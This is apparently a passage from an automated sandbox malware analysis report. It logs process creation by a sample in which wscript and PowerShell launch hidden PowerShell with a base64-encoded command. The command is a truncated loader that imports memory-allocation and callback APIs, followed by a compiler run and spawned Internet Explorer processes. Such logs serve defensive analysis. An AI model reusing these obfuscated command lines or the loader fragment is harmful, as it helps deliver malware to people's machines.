ABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdlineJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"Jump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exeJump to behavior
